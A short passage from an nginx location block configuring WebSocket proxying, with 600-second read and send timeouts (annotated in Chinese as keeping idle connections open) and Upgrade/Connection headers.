proxy_read_timeout 600s; #配置点2,这段时间内没有任何读也不断掉
proxy_send_timeout 600s; #配置点3,这段时间内没有任何发送也不断掉
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
}